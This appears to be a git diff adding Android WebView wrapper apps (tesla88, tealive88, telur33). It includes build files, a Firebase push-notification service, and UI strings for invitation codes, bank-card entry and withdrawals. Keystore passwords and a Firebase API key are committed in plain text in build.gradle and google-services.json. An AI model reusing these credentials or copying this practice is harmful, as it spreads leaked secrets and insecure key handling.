@@ + + + + + \ No newline at end of file diff --git a/tealive88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/tealive88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/tealive88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/tealive88/src/main/res/mipmap-hdpi/ic_empty.png b/tealive88/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/tealive88/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/tealive88/src/main/res/mipmap-hdpi/ic_pull_down.png b/tealive88/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/tealive88/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/tealive88/src/main/res/mipmap-xhdpi/ic_close.png b/tealive88/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/tealive88/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/tealive88/src/main/res/mipmap-xhdpi/ic_menu.png b/tealive88/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/tealive88/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/tealive88/src/main/res/mipmap-xxhdpi/app_logo.png b/tealive88/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..bbf36f8 Binary files /dev/null and b/tealive88/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/tealive88/src/main/res/values-en/strings.xml b/tealive88/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/tealive88/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/tealive88/src/main/res/values-night/themes.xml b/tealive88/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/tealive88/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tealive88/src/main/res/values/colors.xml b/tealive88/src/main/res/values/colors.xml new file mode 100644 index 0000000..68ddad2 --- /dev/null +++ b/tealive88/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #520090 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/tealive88/src/main/res/values/strings.xml b/tealive88/src/main/res/values/strings.xml new file mode 100644 index 0000000..93ab471 --- /dev/null +++ b/tealive88/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + TEALIVE88 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tealive88/src/main/res/values/themes.xml b/tealive88/src/main/res/values/themes.xml new file mode 100644 index 0000000..97f9d08 --- /dev/null +++ b/tealive88/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tealive88/src/main/res/xml/app_updater_paths.xml b/tealive88/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/tealive88/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/tealive88/src/main/res/xml/network_security_config.xml b/tealive88/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/tealive88/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/tealive88/src/main/res/xml/provider_paths.xml b/tealive88/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/tealive88/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/tealive88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/tealive88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/tealive88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/telur33/src/main/java/com/web/telur33/MainActivity2.java b/telur33/src/main/java/com/web/telur33/MainActivity2.java index dd430a8..5095450 100644 --- a/telur33/src/main/java/com/web/telur33/MainActivity2.java +++ b/telur33/src/main/java/com/web/telur33/MainActivity2.java @@ -26,8 +26,15 @@ public class MainActivity2 extends com.web.base.MainActivity2 { saveInt(MainActivity2.this,"user_code",userId); saveInt(MainActivity2.this,"version_code",getVersion()); MainActivity.saveString(this, "base_url", "https://telur33b.com"); - + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#FFFFFF"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#FFFFFF"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity2.this,"is_white",0); super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); //订阅主题 FirebaseMessaging.getInstance().subscribeToTopic("demo") .addOnCompleteListener(task -> { diff --git a/telur33/src/main/res/drawable/big_bg.xml b/telur33/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..c1461de --- /dev/null +++ b/telur33/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/telur33/src/main/res/mipmap-xxhdpi/app_logo.jpg b/telur33/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..9beb2dc Binary files /dev/null and b/telur33/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/telur33/src/main/res/mipmap-xxhdpi/app_logo.png b/telur33/src/main/res/mipmap-xxhdpi/app_logo.png deleted file mode 100644 index 83d3a76..0000000 Binary files a/telur33/src/main/res/mipmap-xxhdpi/app_logo.png and /dev/null differ diff --git a/telur33/src/main/res/values-en/strings.xml b/telur33/src/main/res/values-en/strings.xml index eebab16..807e199 100644 --- a/telur33/src/main/res/values-en/strings.xml +++ b/telur33/src/main/res/values-en/strings.xml @@ -1,5 +1,5 @@ - TELUR33 + Telur33 Please Set Your Password Cancel Sure diff --git a/telur33/src/main/res/values/strings.xml b/telur33/src/main/res/values/strings.xml index 48de585..bc45d97 100644 --- a/telur33/src/main/res/values/strings.xml +++ b/telur33/src/main/res/values/strings.xml @@ -1,5 +1,5 @@ - TELUR33 + Telur33 请输入6位密码 取消 确定 diff --git a/tesla88/.gitignore b/tesla88/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/tesla88/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/tesla88/build.gradle b/tesla88/build.gradle new file mode 100644 index 0000000..ad38060 --- /dev/null +++ b/tesla88/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.tesla88" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "tesla88" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/tesla88/dskjweb.jks b/tesla88/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/tesla88/dskjweb.jks differ diff --git a/tesla88/google-services.json b/tesla88/google-services.json new file mode 100644 index 0000000..a9ddd59 --- /dev/null +++ b/tesla88/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "687250426105", + "project_id": "tesla88-9f66b", + "storage_bucket": "tesla88-9f66b.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:687250426105:android:c03750ec2e7e3b444c7a28", + "android_client_info": { + "package_name": "com.web.tesla88" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyAJYwhQYnkkxSu-aJT57KNLY7WS8TJe28g" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/tesla88/ppn.jks b/tesla88/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/tesla88/ppn.jks differ diff --git a/tesla88/proguard-rules.pro b/tesla88/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/tesla88/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/tesla88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/tesla88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/tesla88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/tesla88/src/main/AndroidManifest.xml b/tesla88/src/main/AndroidManifest.xml new file mode 100644 index 0000000..a043034 --- /dev/null +++ b/tesla88/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tesla88/src/main/java/com/web/tesla88/MainActivity.java b/tesla88/src/main/java/com/web/tesla88/MainActivity.java new file mode 100644 index 0000000..451ee39 --- /dev/null +++ b/tesla88/src/main/java/com/web/tesla88/MainActivity.java @@ -0,0 +1,63 @@ +package com.web.tesla88; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 205; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://tesla88.online/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#336fe1"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#280d44"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); +// showTopV1.setImageResource(R.mipmap.start_gifs); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/tesla88/src/main/java/com/web/tesla88/MyFirebaseMessageingService.java b/tesla88/src/main/java/com/web/tesla88/MyFirebaseMessageingService.java new file mode 100644 index 0000000..1277b9c --- /dev/null +++ b/tesla88/src/main/java/com/web/tesla88/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.tesla88; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/tesla88/src/main/java/com/web/tesla88/WebApplication.java b/tesla88/src/main/java/com/web/tesla88/WebApplication.java new file mode 100644 index 0000000..a596e60 --- /dev/null +++ b/tesla88/src/main/java/com/web/tesla88/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.tesla88; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/tesla88/src/main/res/drawable-anydpi/ic_action_back.xml b/tesla88/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/tesla88/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/tesla88/src/main/res/drawable-hdpi/ic_action_back.png b/tesla88/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/tesla88/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/tesla88/src/main/res/drawable-mdpi/ic_action_back.png b/tesla88/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/tesla88/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/tesla88/src/main/res/drawable-v24/ic_launcher_foreground.xml b/tesla88/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/tesla88/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/tesla88/src/main/res/drawable-xhdpi/ic_action_back.png b/tesla88/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/tesla88/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/tesla88/src/main/res/drawable-xxhdpi/ic_action_back.png b/tesla88/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/tesla88/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/tesla88/src/main/res/drawable/big_bg.xml b/tesla88/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..d58e7a8 --- /dev/null +++ b/tesla88/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/tesla88/src/main/res/drawable/ic_launcher_background.xml b/tesla88/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/tesla88/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/tesla88/src/main/res/drawable/input_bg.xml b/tesla88/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/tesla88/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/tesla88/src/main/res/drawable/pass_word_bg.xml b/tesla88/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/tesla88/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/tesla88/src/main/res/drawable/pass_word_bg1.xml b/tesla88/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/tesla88/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/tesla88/src/main/res/drawable/pass_word_bg2.xml b/tesla88/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/tesla88/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/tesla88/src/main/res/drawable/shape_btn_bg.xml b/tesla88/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/tesla88/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/tesla88/src/main/res/drawable/shape_dialog_bg2.xml b/tesla88/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/tesla88/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/tesla88/src/main/res/drawable/shape_dialog_bg3.xml b/tesla88/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/tesla88/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/tesla88/src/main/res/drawable/shape_dialog_bg_new.xml b/tesla88/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/tesla88/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/tesla88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/tesla88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/tesla88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/tesla88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/tesla88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/tesla88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/tesla88/src/main/res/mipmap-hdpi/ic_empty.png b/tesla88/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/tesla88/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/tesla88/src/main/res/mipmap-hdpi/ic_pull_down.png b/tesla88/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/tesla88/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/tesla88/src/main/res/mipmap-xhdpi/ic_close.png b/tesla88/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/tesla88/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/tesla88/src/main/res/mipmap-xhdpi/ic_menu.png b/tesla88/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/tesla88/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/tesla88/src/main/res/mipmap-xxhdpi/app_logo.jpg b/tesla88/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..dfd2d4b Binary files /dev/null and b/tesla88/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/tesla88/src/main/res/values-en/strings.xml b/tesla88/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/tesla88/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + 